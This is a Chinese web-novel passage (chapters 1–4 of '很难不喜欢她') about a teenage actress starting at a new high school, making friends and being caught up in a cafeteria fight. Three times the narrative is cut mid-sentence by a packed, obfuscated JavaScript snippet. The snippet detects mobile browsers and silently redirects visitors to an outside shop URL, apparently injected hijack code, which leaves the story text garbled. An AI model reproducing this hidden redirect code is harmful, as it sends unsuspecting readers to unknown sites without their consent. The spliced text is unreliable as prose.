《很难不喜欢她》 1. 喜欢她 书桌上摆着开学通知单,十六岁的余音就这么盯着看了一天。 初三之后一直都是在学校挂读,上课全靠家教,作业全靠自己。迁居到岐江后才知道岐江的私立高中不能挂读,必须本人亲自到学校上课。 时隔一年半重新和同龄人整日待在一起,这种感觉太陌生,令人不安。 算了,大不了就是上学一个月,请假三个月,学期末再回学校考试走个过场...... 余音只能这样安慰自己,直到她一只脚迈进学校大门,心里还止不住地打退堂鼓。 就在第无数次想要临阵脱逃时,周围的人纷纷向她投来好奇的目光。 “明星还要上学啊,之前不是都说她找家教的吗?” “还真的转来我们学校,看来她也不是网上说得家里没钱啊。” “就算家里没钱,能来我们学校,看来娱乐圈确实来钱快。” “又不是什么大明星,十八线而已。” ...... 虽然不是什么大明星,但也不至于十八线,毕竟整个岐江市的青少年没人不知道余音。 在手机里,在电视机里,在各个学校的校园论坛里......大家都见过她那张引发热议的照片,一张模样青涩,但五官和气质都顶好的素颜照。 也就是这张照片余音从一个初二的学生拉进了满是聚光灯的娱乐圈,拍过广告,当过杂志模特,出演过配角......不到三个月就成了大家口里的“小明星”,也彻底结束了她和同龄人接触和交往的机会。 照片被人用作网络头像,桌面壁纸,这些都没关系。而最让余音无法争辩的是,她的照片被人曲解为“某富豪的私生女”、“某明星的地下女友”、“某大佬的玩伴”...... 名声和谣言并存。 至此之后,她的初中生活就开始被同学冷落,造谣,欺负。 余音天生脾性温和,又不能以一敌百,对那些恶语相向的同学也是一直让步,一直忍耐,一直包容。最后实在忍不住,把自己封闭起来,上课在家里,考试在家里,几乎没有社交。 偶然遇到一个出演小角色的机会,余音才知道自己喜欢演戏,于是梦想成为演员。和同龄人寻乐不一样,她的快乐在剧组。 低低的人声灌耳不绝,要是再让同学看她逃学的笑话,很丢人。 背着书包的余音深吸一口气,稳住心神朝指示牌所指的礼堂方向去。 在校门口磨蹭了一段时间,她成为最后一批进入礼堂的学生。 人生地不熟,还是找个角落的位置降低存在感。 余音站在门口扫视一圈,看中最角落的空位,可人都还没靠近座位,就有同学叫住她:“同学,这个位置被占了,你去别的地方吧。” 只好转身寻找别的空座,可不论她走到哪一个空位旁边,大家都会说,“被占了”或“有人坐”。 屡屡碰壁,她脸上的笑容越来越尴尬,可在被拒绝之后还是坚持说:“不好意思。” 眼看礼堂里身穿夏季校服的同学都坐了下来,只有她穿着蓝衬衫和白色长裤,站在阶梯上,格格不入。 众人时不时瞄她几眼,然后转头和旁边的人说笑。 好在她不是第一次经历这样的场景,面上才没露哭相。 余音抿了抿唇,转身走向离舞台最远,离礼堂门口最近,唯一一张没有靠背的高圆凳。 虽然坐下后还是比大家高出一截,但有座位总比站着好,站着才是真正的引人注目。 一直等到有老师开始上台讲话后,大家才收回偷偷投向余音的视线。 老师拿着话筒在台上走来走去,说了什么余音一点也没在听,满脑子都想着怎么找理由请假,一点也不想呆在学校。 就在她计划要怎么艰难度过开学周的时候,一阵急切的交谈声打断了她的思绪。 “你爸来学校怎么把你落下了?” “今天是开学第一天,他有事来得早。我昨晚熬夜看球赛,早上被闹钟吵的时候想再眯一会儿,结果再睁眼的时候就晚了。” “幸好不是只有我一个人迟到......等等,那张用来堵门的凳子上怎么坐了人?不会是老师抓迟到吧!” “真倒霉——” 知道身后人谈论的是自己,为了打消迟到生的不安,余音顺势回头。 礼堂外的台阶上,身形摇晃的短发少年突然停住步伐,一缕从树叶间倾泻而下的阳光犹如追光灯落在俊秀的脸上。这张脸如果出现在镜头里,一定会更好看。 见那少年一直盯着自己,余音才反应过来是自己先盯着别人看太久,她眨了着准备移开目光,又被从少年身后探出脑袋的女孩吸引住,忽然睁大眼眶:“是你啊!” 发现不是老师,穿校服的高马尾女孩猫着腰三两步就跳上台阶,快步朝余音走去,蹲在她的圆凳旁,长舒一口气:“还好是你。不过你怎么坐这儿,前面不是有空位么?” 好不容易见到张不算完全陌生的面孔,余音就像抓住救命稻草一样,紧绷的肩膀往女孩的方向靠,抿着唇支吾道:“我来晚了。” 在凳子另一侧,同样蹲着的男生好奇地看向两人,完全没有刚才迟到的慌张样,眼睛里闪着异常兴奋的光芒:“你们认识啊?” “说来话长,长话短说。”女孩摩挲着下巴。就在余音紧张地捏紧手指时,女孩咂了下舌,改口道,“算了......我今天没吃早饭,又从地铁站一路狂奔,现在没力气了,以后有机会再说吧。” 因为前排椅背突然后仰的动作,男生眼里的光点亮暗了许多。 礼堂舞台上已经到优秀学生代表发言,蹲在余音旁边的两人又开始小声交谈。 “我听说台上那个喻槐安入学考几乎满分,以前也一直都是第一。” “第一就第一呗,和我们有什么关系?” “你傻啊!这意味着我们两个的年级排名又要倒退一名了。” 女孩表情认真,把余音也拉入伙,问她:“我听大家说你每天都拍戏,那你有时间来学校上课?成绩怎么样?入学考试多少分?” 余音摇头,“我没参加入学考试。” “不可能吧。”蹲在过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477971|201593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道的男生满脸,还要分心注意阶梯上老师的走位,“每一个转校生都要通过入学考试,成绩合格才算达标,除非你的中考成绩特别顶,那就不用参加入学考。” 不清楚岐江中学的规定,现在被人问起,余音诚实道:“我中考第三名。” “学校排名第三?” “靖南市第三。” 男生激动地看了看余音,接着垂头喟叹道:“江雀,看来我们的年级排名要倒退两名了。” 被叫作“江雀”的女孩配合地叹了口气,用手指戳了下余音的胳膊,“没想到你学习成绩这么好,不是都说拍戏很辛苦吗,你还有时间学习,真厉害啊!你都是怎么学的,传授一下呗,不然以后没机会了。” 余音本来想说自己要待一个月,怎么样都有机会。可她刚张嘴,就听见江雀用气声喊:“程简,你帮她把椅子调低点,她坐太高,都听不见说话了。” 两个蹲在地上的人,脑袋也就比凳面高几公分。余音也觉得这个凳子太高,费力弯下腰去听男生的话。 “一会儿老师往下走的时候,你就站起来。”男生的手指点了点座椅调节杆,“等我踩住这里,你再坐下来。” 余音对上男生认真的桃花眼,配合地点头。 等老师转身的时候,余音立刻执行计划,男生也“噌”地一下从地上站起。 可当男生踩住圆凳的调节杆时,她坐下去发现和刚才没有半点变化,以为是自己力气不够,又站起来准备重新试一次。 就在余音和男生困惑地瞪大眼睛时,阶梯上来回巡视的老师突然停下脚步,有转头的迹象。 没等余音反应,她的手腕突然被人攥住,视线中的一切都飘到天上去了。直到眼前只剩暗红色的椅背,她才松了口气,后知后觉自己被男生拉着坐在地上。 “诶——还好没被发现。”男生劫后余生般看向她,“怎么样,我速度快吧。要是被发现,我们三个肯定要被骂得狗血淋头。” “谢谢。”余音不自然地转动着还被男生抓着的手腕。 男生这才恍然大悟般松开手,耳廓不知是不是被红色座椅映得格位红,“不好意思啊......情况紧急。” 余音拍戏的时候和不少男生牵过手,早就不会因为这点小事面红心热了。而且刚才确实情况紧急,她随口安慰有些难为情的男生:“没关系,你也不用在意。” 三个人都席地而坐,江雀拉着余音问了好多问题,大到拍戏都见过哪些明星,小到有没有笑场过。余音没有一点不耐烦,全都娓娓道来,而男生也全力充当旁听者的角色。 等纷乱的脚步声响起时,三个人同时起身拍了拍裤子上的灰。 江雀忽然想起什么,拍了拍余音的肩膀,笑容明媚:“差点忘了告诉你,我叫江雀,他叫程简。” 余音还没来得及介绍自己,江雀又开口:“对了,你是几班的?你知道教室在哪吗?要不要我们带你熟悉一下。” “高一6班。” 话落,男生瞬间弯起那双过分好看的桃花眼:“这么巧!大明星居然和我一个班!” 2. 喜欢她 听男生叫自己“大明星”,余音立刻拧起眉头,摆手忙道:“我不是什么大明星。” 余音一直到现在才勉强适应“小明星”的称号,现在又有人突然给她戴了顶更高的帽子。要是被别人听去,不知道又会怎么被造谣。 以为她是出于礼貌,男生继续不以为意道:“啧,谦虚什么,我要是你我得在学校里横着走——” 余音讪讪一笑,这人怎么越说越来劲。 男生嘴里还念叨着什么明星不明星的话,陆续经过三人走向礼堂外的同学无一不投来打量的目光。 余音轻轻拍了下男生的肩头,赶紧把话题转移走:“同学,你能带我回教室吗?我对这里还不太熟悉。” “好啊。” 男生转身迈步,可没走两步又回过头来,像是想起了什么重要的事情,看着她:“你怎么还叫我同学?叫我名字就行。不用这么客气,大家以后都是同学......” 男生性格倒是开朗,就是话有点多了。 余音点头,等男生转过身去,她继续跟在男生后面,细心留意视线内的每一处。 也不知道是自己没穿校服,还是学校里的人太好奇她这个所谓的“小明星”,不然怎么走到哪儿都能感受到大家眼神里的意味不明。 走廊上,余音跟着男生从成群结队的女生中间穿过,停在班级门口时,终于意识到并不是所有人都在关注她,女生们议论的是为她带路的男生。 “他们两个这么快就认识了?才开学第一天。” “原来程简喜欢网红,怪不得他对高二的学姐总是爱答不理的。” “难道她比学姐家还有钱,她比学姐还聪明?” “谁知道呢,说不定是程简也想进娱乐圈。” ...... 果然,这种外貌和性格都好的男生不缺关注。 蹙紧眉头的余音真的很想解释她对男生完全没有兴趣,但她不能说,否则女孩们和男生都没面子。 她只能东看西看,假装没听见,心里却羡慕男生和谁都能打招呼聊天,从而真的听不见这些非议。 初来乍到,又没有座位,余音只能站在教室内的过道末尾,两张桌子的中间。 幸好老师比尴尬早来一秒。 老师让余音做个自我介绍,她欣然点头,没有半点忸怩和胆怯。毕竟她到现在也试镜过很多次,失败过很多次,对这样的环节早就免疫了。 只是没想到,老师给她的座位安排在男生旁边,她本来想委婉拒绝,奈何教室里只有这一个空座位。 本来就比普通同学受到的关注多一点,这下好了,打算安静平稳度过开学第一个月的计划算是初步泡汤了。 等余音走到空桌旁,男生不仅替她把桌面擦干净,还热心地帮她把椅子拉出来。 余音嘴上说谢谢,心里却在默默哭嚎:以后要被喜欢他的女生针对了。 台上的老师在讲课,台下的同学一半在听课,剩下的一半偷偷把视线转移到新成为同桌的两人身上。这些余音都可以接受,唯独让她不解的是,旁边的男生也时不时用余光瞥自己。 直到老师转身在黑板上写字时,余音把头扭向男生,平静道:“同学,你有什么事吗?” “你怎么还叫我同学。”男生没顺着她的问题回答,蹙紧眉心把课本翻回第一页,手指着书页上的草草两字:“我叫程简,程简。这下总该记住了吧。” 前排的同学对男生的多次自我介绍回以偷笑,余音见状,赶忙应道:“我知道。” 话落,程简这才满意地点了点头。 之后的半节课里,程简没再偷看她,其他同学好奇的目光也收敛了许多。 整个上午,她的新同桌每逢下课就不见人影,得等到上课铃响起时,他才会出现,掌心也会多一颗篮球。 江雀路过走廊窗户,和余音招手,把她喊到走廊关心她,问她学校怎么样,同学怎么样,老师怎么样...... 余音对所有人都客气礼貌,唯独面对江雀时才自然流露出青春期对对朋友的依赖。 因为江雀完全算得上余音的“救命恩人”。 在开学前几天,余音试镜结束的一个下午,因为坐地铁回家近时间短,所以她拒绝了司机的接送。 谁知道在地铁上会遭遇偷拍这种事情,还是对着余音的裙底。 余音起初顾虑是自己误会了别人,只能捂紧裙摆往旁边挪步,可拿着手机的人也跟着她挪。 她不擅吵架,而且她现在小有名气,要是她英勇揭发却被对方反咬一口,不明真相的人也只会把所有目光聚焦到她身上。 还好裙子是裙裤的设计,拍不到隐私。余音只能一边无力地到处换位置,一边暗恨自己的怯懦。 就在她退无可退时,一只手突然将她从男人身边拉开。 余音被拉到梳着马尾辫的女孩身后,趁男人还没反应过来,女孩快速抢过男人的手机举高,大喊道:“你在偷拍!” 带着帽子和口罩的男人忙粗着脖子嚷道:“我没有,你别乱说!” “我都看见了,你还狡辩!”女孩一手将她护在身后,一手举起手机,还能气势逼人地追问男人。 余音望着身前女孩坚定的侧脸,有些恍惚。 在地铁上经过一番折腾,女孩帮她抓住了偷拍男,并且聪明地保留好证据。而余音只是安静跟在女孩身后,一直到警局。 坐在警局的椅子上,空气冰冷又严肃。 余音没想过会闹到这种地步,她从来都是多一事不如少一事的人,她一边懊恼自己太懦弱,一边对出手相助的女生满怀感激。 可女孩不仅觉察到她的郁闷,还安慰她:“你别怕,我会一直陪着你。” 女孩不仅帮她把偷拍男送进了警局,答应替她保守秘密,还送她回家。最后回到家里,余音才想起自己都不知道女孩的名字,更懊恼了。 只是没想到,天赐缘分,她们这么快就见面了,还是同学。 江雀爽快地拍着余音的肩膀,信誓旦旦道:“你放心,我们是朋友,以后你要是在学校受欺负了,我一定帮你。” “朋友。”余音呢喃着,反复确认,“你真的愿意和我做朋友吗?” 江雀随性说:“这还能有假啊!能和明星成为朋友,应该是我求之不得。” 余音激动地握住江雀的两只手:“江雀,你真好。” 身后隐约传来“咚咚咚”的响声,余音还没松开手,程简那张过分灿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477972|201593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烂的面孔刹时放大在眼前。 “说什么呢,说给我也听听。”程简把耳朵凑近两人之间,却被江雀推开。 江雀把余音拉到自己身边,抬起下巴,郑重道:“给你正式介绍一下,我的朋友,余音。” “厉害啊。毕竟她连她同桌的名字还没记住呢。”程简表情惊讶,把手里的篮球朝路过的男生怀里投去,和江雀一样摊开手心放在余音脸下,郑重道:“给你正式介绍一下,我的同桌,余音。” 江雀见两人是同桌,更加直率道:“那大家就都是朋友了。你有什么不懂的都可以问我,或者问程简。他消息很灵通的,因为他爸爸是年级主任......总之,你不要和我们客气。” 余音又是尴尬一笑,暗想,她以后还是少和校园风云人物有来往,尤其要和许多女生都有好感的男生保持距离。 整整一个上午,余音最大的收获就是交到了江雀这样好的朋友。 可到了午饭时间,她就明白,像江雀这么好的人根本不缺朋友,和她一样新转来的男生也被江雀拉来食堂。 刚坐下,就感受到四面八方的目光,路过的同学拿着餐盘掩着嘴,窃窃私语: “这四个人是怎么走到一起的?” “程简和江雀一直关系好,余音好像是程简的同桌,剩下那个男生不太清楚。咦,他不是今天发言的那个吗......” “好看的面孔旁边是更好看的面孔,羡慕了。” ...... 本该习惯注目礼的余音却是最心不在焉的,其他三人丝毫没有被外界影响,自顾自地吃饭。 余音向来吃得少,比三人都先放下勺子,抬头时无意和隔壁桌男生的目光撞个正着。 男生窃喜地收回视线,继而起身朝余音走来,毫不客气地把纸和笔丢在她手边:“签个名。” 余音被男生莫名其妙的举动吓得怔住一秒。 手里还捏着勺子的江雀毫不客气地把纸和笔拨开,笔滚落在地,又鄙夷地斜了男生一眼:“没礼貌。” 男生没在意江雀的话,捡起地上的笔拍在桌上,继续对余音强硬道:“签个名。” 余音心有不满,准备拒绝,又被程简抢话。 “多大的脸啊就往上凑。” 周遭瞬间安静,气氛降到冰点。以为男生会反驳,可男生只是狠狠瞪着程简,气冲冲回到自己的位置。 在余音以为这件小插曲就此结束的时候,男生忽然拍响桌面,手指着程简气愤道:“你以为主任是你爸就了不起啊!仗势欺人的狗东西!” 可无端的谩骂并没有激怒程简,他继续低头吃饭,表情没有任何起伏,仿佛男生说的不是他。 余音不禁高看他一眼。 霎时间,一个勺子突然从天而降,擦着程简的耳廓飞过,最后滚落在地。众人顺势抬眼,那男生手里空空。 换作任何人都难以忍受公然的挑衅。 程简猛然起身,额前的碎发飞扬着,眉头压低,把手里的勺子朝男生扔去。 “铛——” 勺子不偏不倚落进讲话男生的碗里,银质餐具擦出短促又尖锐的声音。 周围鸦雀无声,本就受关注的四人这下更成为众矢之的。 3. 喜欢她 仿佛世界大战一触即发,许多同学都投以看热闹的眼神密切关注着他们的一举一动,更有甚者在小声起哄。 江雀毫不吝啬地拍手夸赞道:“程简,准头不错嘛!” 现在是夸奖的时候吗? 余音不禁睁大了眼睛看向旁边的程简。 他挑高眉,满脸得意笑容:“一般般吧。” 挑事的男生不是善茬,抓起手边的碗就往程简的方向扔,不过他的准头比程简差许多,在空中翻滚几圈的碗径直朝毫无准备的余音飞去。 来不及躲,余音被砸个正着,油腻的汤汁顺着头顶的碎发滑落在睫毛和鼻尖,额头隐约泛起微弱血色。 又是一声“铛”,汤碗应声落地。 周遭死一般得寂静。 不用看,余音也知道自己狼狈至极。 坐在正对面的江雀慌忙用手替她抹去脸上的汤汤水水,言语急切:“你痛不痛啊?” 余音强忍住泪水,低垂着脸,吸住鼻子:“还好。”好在学校的餐具不是陶瓷或者玻璃制,她的额头才没有破相。 而始作俑者却没有半分愧疚,摆出一幅小人得志的笑脸。 江雀扭头瞪了男生一眼,侧身和程简交换了一个眼神,“你来还是我来?” 余音一脸茫然。 程简先是瞥了眼余音的额头,接着眉心一皱,站直腿三两步冲到男生面前,揪住男生的衣领,嘴里不干净得骂着。 没等余音搞清状况,程简就和男生在地板上纠缠了起来。 江雀也没闲着,快速滑动脚步冲到两人之间,轻轻松松就打出一套看不懂的拳脚组合,直直落在想要朝程简挥舞拳头的男生身上。 骑在男生身上的程简一个没注意也挨了男生的拳头,不过好在有江雀给他打辅助,程简还是占上风。 在食堂打架的画面很是少见,周围的同学迅速将几人包围起来,在起哄也在尖叫助兴。 不至于吧! 怎么就打起来了? 怎么会这样呢? 有那么一瞬间,余音想拔腿就跑。 她站在原地,心里慌乱如麻。 她深知自己会有这种想法完全归咎于她很少主动释放攻击性,遇见任何无法解决的难题首先想到的是回避。她不得不承认自己被大家夸赞的脾气好,温柔,冷静,其实也是极端的冷漠。 亲眼看见江雀的新朋友也挤进人群中,试图阻止扭打在一起的三人时,余音才从自己的世界里回过神来。 她鼓起勇气朝人群中走,艰难地拨开人群,吃力地想要帮新朋友的忙,但效果甚微,加上一个不小心,自己又摔在了地上。 这样的“大战”持续下去,情况只会更糟糕。 就在余音无计可施时,这位新朋友阴沉着脸,拉住看热闹的女生低头简单说了些什么,女生便转身朝楼梯跑去。 没一会儿,一道严肃且慌张的声音从远处传来。 “住手!别打了!快给我住手!” 穿着深蓝色polo衫的男人全然不顾自己的眼镜已经掉在地上,咬牙切齿地把围成圈的同学们拎到一边,“还看!还不赶紧走——” 最内圈看热闹的同学听闻此声后,立刻为穿着黑色夹克的中年男人让出一条路。 被程简压制住的男生趁人恍神时,快速朝程简的脸颊反打一拳,继而抓住程简的衣领。而强行挤进两男生之间的江雀,还在执着要掰开男生的手指。 中年男人涨红着脖子,费了好大劲才把混乱的三人分解开。 “大战”宣告结束,伤情不堪入目。 江雀倒是没大碍,程简的侧脸和嘴角略微红肿。以一敌二的男生眼周乌青,两侧的脸颊都高高肿起,嘴角和鼻底挂着还没干透的血渍。 中年男人捡起地上的眼镜戴好,双手叉腰,大声遣散着众人:“谁再多看一眼和他们一样罚,赶紧去吃饭!” 周围人都散开后,余音才有站起来的空间,她吃痛地揉了揉撑了许久而发麻的手掌。 男人指着原地站着的几人,怒目圆睁道:“你们几个,现在立刻马上,给我去办公室站着!”转身后又觉不妥,补充道,“我没来谁也不许走!” 在跟着大家去办公室的路上,余音受不了脸上的粘腻感,四处留意洗手间的位置而走得慢,没觉察到另外三人也放慢了脚步。 江雀把她带到洗手间门口,余音感激地看了她一眼,便快步进去。 她对着镜子,仔仔细细洗了好几遍,才满意地拿出纸巾把脸和头发擦干。 重新回到三人面前,江雀眼睛都直了,抬手捏着她的双颊,“你真这么漂亮啊?我以为你化了妆的!” 余音耳朵一阵热,手背贴了贴被江雀捏过的地方,“除了拍戏我很少化妆。” 几米外依着栏杆的程简咳了咳嗓子,叫道:“再不走又要挨骂了。” 办公室里,靠墙站着的四人,以及单独站在门口最先挑事的男生,大家都不说话。 “你还好吗?” 余音率先开口,忍着额角的胀痛感扭头去问旁边高出自己一个脑袋的程简。 程简愣了一瞬,偏头冲余音宽慰地笑了笑:“一点小伤,过两天就好了。” 江雀用肩头碰了碰余音,无所谓道:“他皮糙肉厚的,过几天就好了。倒是你,肿这么大一个包,得去校医室看看。” 余音不知道校医室在哪儿,顶着一个包在校园逛,被校医问起还得解释缘由,太麻烦了。她抿住唇说:“没关系,我也过两天就好了。” 被安慰之后的江雀眼珠提溜一转,抬手同时扯了下余音和新朋友的袖口:“这事儿和你们两个都没关系,等会儿你们就说自己是路过的,程主任才不会罚你们。” 余音指着自己额角明晃晃的伤口,“主任真的会相信吗?” 新朋友没说话,眼神平静地像是一汪无论如何也激不起涟漪的湖水,也不知道他是赞同还是反对江雀的计划。 主任火急火燎走进办公室,发现江雀旁边的男生也出现在办公室里,面露诧异:“喻槐安,你怎么也在这儿?你也跟着他们打架?” 喻槐安目不斜视,平静道:“嗯,我和他们是一起的。” 年级第一,优秀学生代表。竟然没有着急撇清关系,而是大胆承认,能和刚结交的朋友就可以做到有难同当。 余音内心对这位新朋友刮目相看,同时更加折服于江雀的魅力。 趁主任转身时,余音听见旁边的江雀小声对喻槐安说:“你干嘛,本来也和你没关系。” 主任拧开桌上的保温杯,转身看着余音和喻槐安又是摇头又是叹气。最后,数落的手指停在孤零零站在门口的男生面前,“你先说。” “程主任,我只是随口说了两句。是程简,是他先扔我的,也是他先动手的。”男生避重就轻地回答。 程简听见男生恶人先告状,更是气愤,手指着男生往前迈了两步:“放屁!明明是你动手的,她头上的包难道是凭空长出来的?” 好在余音及时拉住程简的衣角,程简才退回原地,没和人再打一架。 程主任把手心的杯盖用力拍在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477973|201593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌面,拔高音量:“怎么?你还想在办公室大展身手啊!” 程简瞬间熄了火,垂着头。 而与程简相隔两人的喻槐安挺直腰背,眼神坚定:“主任,程简没有说谎。他是为了维护同学,不得已才动手的。” 这话惹得几人纷纷侧目,男生瞬间急红了脸,大声道:“明明就是你们先动手的!你们人多,欺负我一个!” “还要狡辩!我都看过监控了,明明就是你先朝同学扔碗的。那碗是用来扔来扔去的吗,那是用来吃饭的!你把碗扔到同学头上是怎么回事,你来学校练杂耍?” 男生被呵住,不敢再反驳。程主任无奈万分,双手背在身后,接连叹了好几口气。 最后,挑事的男生被主任罚写检讨,不仅如此,还被要求连续五天在广播站朗读自己的检讨书。 就在余音松一口气时,程主任又说:“剩下你们四个,这周每天中午下了课就去食堂帮忙打餐,让你们也体会一下食堂工作人员的辛苦。尤其是你,程简!别人扔碗,你就扔勺子,比什么?还在食堂比起赛来了......” 四人思想充分受过洗礼后才被允许走出办公室。 挨了好大一通骂却依旧蹦蹦跳跳的程简一把搂住喻槐安的肩膀,“没想到你这么够义气,以后我们就是好兄弟了!” 喻槐安似是嫌弃地推开程简的手:“我只是实话实说。” 走在后面的江雀一直叮嘱余音要记得去找校医拿药,余音总微笑着点头,惹得江雀不解:“你不痛吗?还有心情笑?” 余音丝毫不敛笑意,真诚道:“有朋友安慰的话好像没那么痛了。” 江雀会心一笑,把程简招呼来,“你带她去校医室吧,刚好你也拿点药。” “行啊。” “不用了。” 余音和程简同时出声。 就在余音为自己的拒绝感到尴尬时,程简毫不在意地说:“我去就行了,你回教室等我吧。” 不能再驳人面子,余音点头:“谢谢你。” 回到教室后,果然和余音想的一样,大家对她的好奇和议论更多了。只是现在,议论她的同时总少不了另一个人,程简。 “程简居然为她动手打架,程简不会喜欢她吧!?” “她这么漂亮,被砸之后又那么楚楚可怜,是个男的都会帮忙吧。” “那倒也是。不过,我没想到她居然这么快就能和程简玩到一起,还以为她和网上说得那样高冷......” ...... 千防万躲,最后大家还是误认她和程简同屏出现就是互相有好感。 余音表面低头看书,其实脑子里已经在想象,未来的程简或许会因为和她走得近被大家误会,流言蜚语对谁都不好。怎么想都觉得还是和他保持距离更好。 就在她惆怅不解时,额角突然感受到一阵冰冷,恰到好处的凉意悄无声息地抚平了被砸位置的疼痛,驱散了烦闷的思绪。 她抬头,对上程简那双清澈明亮的桃花眼,这双眼睛比窗外春日的阳光更热烈。 “冰敷才能消肿,你们大明星不是都很在意颜值嘛。冰敷完了再擦药,好得快。” 余音这次出奇得没拒绝,抬手托住他掌心贴着的冰袋,另一只手接过他递来的药膏。 她回望着他:“程简,你真好。” 许是时间推移太快,留在墙壁的光影慢慢移开,阳光直直照耀着少年,他的脸颊泛起明显的红晕。他眨了下眼,从女孩的脸上移开目光,支吾道:“不是春天么,怎么这么热。” 4. 喜欢她 先冰敷再擦药,额头的包确实很快就消肿了,没有疼痛和同桌的干扰,整个下午直至晚上最后一节自习课都安然过去。 临近下课铃响的最后十几分钟,余音埋头解完试卷上最后一道难题,手背忽然被一支笔杆轻轻戳着,程简侧头趴在桌上,笑嘻嘻着说:“老师让我带你去拿校服,现在去呗,不然要放学了。” 余音下意识反问:“为什么是你带我去?” 她说话时的语气有些重,怕程简误以为是不满,又解释说:“我的意思是,我可以自己一个人去。” “我们学校很大的,没人带着你去你肯定找不到。”程简毫不在乎。 程简说得很有道理,她人生地不熟,要是今晚她拿不到校服,明天又要穿着自己的衣服来学校,大家一定又要议论她故意彰显自己的特殊...... “那辛苦你带路了。”余音合起笔盖,把书本整理好。 “带个路而已,有什么辛苦不辛苦的。”程简起身走在她前头,根本看不见身后同学们看热闹的眼神,还大大咧咧道,“你跟我总那么客气干嘛,我们又不是普通同学。” “为什么不是普通同学?”余音着急答话。 “都帮你打坏人了,还普通同学呢,说大了那是战友,说小了那是朋友。” 余音辩解无门,只好尽力无视大家异样的目光。 反正她在学校待的时间不会太长,等她不来学校,大家自然就把现在看的热闹一笔带过。 学校确实很大,从这栋教学楼穿到这栋教学楼,上了楼梯又要下楼梯,经过各个教室和办公室,终于跟着程简再挂着“后勤储物室”的门口停下脚步。 程简自然扭开门把手,按亮储物室的灯,径直朝一排排货架之间走去,边问:“你多高多重?我看看帮你拿多大的校服。” 校服还是要合身才好,余音回他:“165,88。” 走在前面的程简像仿佛听见了闻所未闻的消息,转身瞪大了眼,上下打量着她。 余音戒备地后退两步。 “你也太瘦了吧!怪不得中午看你吃饭跟小猫似的,才吃两口就饱了。” 余音随口应付道:“我胃口小。” “不过话又说回来,当明星的都吃得不多,因为要上镜,镜头总容易把人拍得显胖。” 程简从她身上收回目光,继续扫视着货架杆子上标记的数字。 下课铃从墙外传来,余音本来不想接话的,但又觉得一直不接话太不给人面子,顺势问:“你怎么知道?” “我从小就学播音主持,参加过不少电视台的比赛。” 余音心中了然,礼貌夸道:“真厉害。” 长得高相貌好性格开朗会打球声音还好听,这种男生放在任何一个地方都是焦点。 此时,余音在心里又给程简多贴了一个“字正腔圆”的标签,也理解为什么女生们总是过多关注他。 “哪厉害?和你比那就很一般了。”程简边说着,一边在货栏里拿出一套全新的校服,低头看了两眼嘀咕道:“怎么全是L和XL......” 余音抬头随意一瞥,就看见接近三米高的货架最顶端有一个写着“M”的纸箱,她举高了手指,“在那里,不过有点高。” 程简顺着她手指的方向看了一眼,“我去拿个梯子,你等一下。” 货架之间没办法同时容下梯子和人,为了方便,余音在程简搬来梯子前先让出路。 几分钟后,程简两手空空地回到她面前,笑道:“放学了,老师都下班了,另一个杂物室我没有钥匙。” “没关系,明天我自己来找老师拿就好。”余音摆手,不愿再为了一套校服麻烦人跑来跑去。 可程简固执地站在原地,提出了和中午经历过的杂耍没两样的想法。 “这样,你站在我的肩膀上,你个子不矮,手也长,伸手应该就能拿到。” “啊!?” 余音怔在原地,面露难色:“不要吧,这样很危险,我们还是等明天再来吧——” 没等人说完,程简自顾自地把她拉到两排货架之间,二话不说就弯下膝盖,蹲在地上,信誓旦旦地向她保证:“哎呀,很快的。我重心很稳的,你又这么轻,一分钟就能搞定,而且我保证不会让你摔下来。” 话落,低垂着脑袋的程简拍了几下她的脚踝,简单几句话就道破她的顾虑:“这里没人,你踩我一下我又没意见。但是你明天不穿校服,大家又会说你仗着自己是明星搞特殊,那些乱七八糟的话。” 程简看来大大咧咧,其实心思细腻。而且比起前者,后者确实更令余音焦虑。 她扭头又确认了一遍这时候不会有人进来储物室,没人知道他们两个在里面表演杂技,这才抬脚踩上程简早已放平的肩膀。 程简抓着她的两只脚踝,慢慢站起,语速平缓:“都和你说了轻轻松松。你自己小心点......” 即便事出有因,但毕竟是踩在别人的肩膀上,总没办法心安理得。 手指攀上纸箱的余音几乎不敢呼吸,以极快的速度摸到箱子里全新的校服,立刻开口:“我拿到了。” 幸好现实不是偶像剧,更没有忽然跌倒,以及跌倒后的拥抱和对视......余音的双脚四平八稳地踩住地面。 她满是歉意地看向他校服上的灰迹,“对不起啊,把你的衣服弄脏了。” “没事,你有校服穿,我的任务就完成了。”程简随手拍着校服衣领。 回到教室,保安大叔已经在驱赶他们了。两人收好书包,一同走出教学楼。 